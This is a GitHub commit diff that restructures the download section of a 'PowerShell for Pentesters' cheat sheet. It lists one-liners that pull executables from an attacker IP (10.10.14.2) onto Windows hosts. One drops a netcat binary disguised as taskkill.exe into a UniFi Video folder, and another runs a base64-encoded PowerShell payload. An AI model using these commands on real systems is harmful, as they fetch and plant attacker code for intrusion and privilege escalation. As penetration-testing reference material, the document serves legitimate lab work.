Updating Basic PowerShell for Pentesters

Clarifying download section
This commit is contained in:
clem9669 2020-09-05 20:39:37 +02:00 committed by GitHub
parent fd99e2065f
commit 8eb3216dc1
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -39,14 +39,26 @@ powershell -nop -enc <BASE64_ENCODED_PAYLOAD>
## Download
### System.Net.WebClient
```text
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
```
### Invoke-WebRequest
```text
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
```
### Wget
```text
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
```
### BitsTransfer
```text
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
```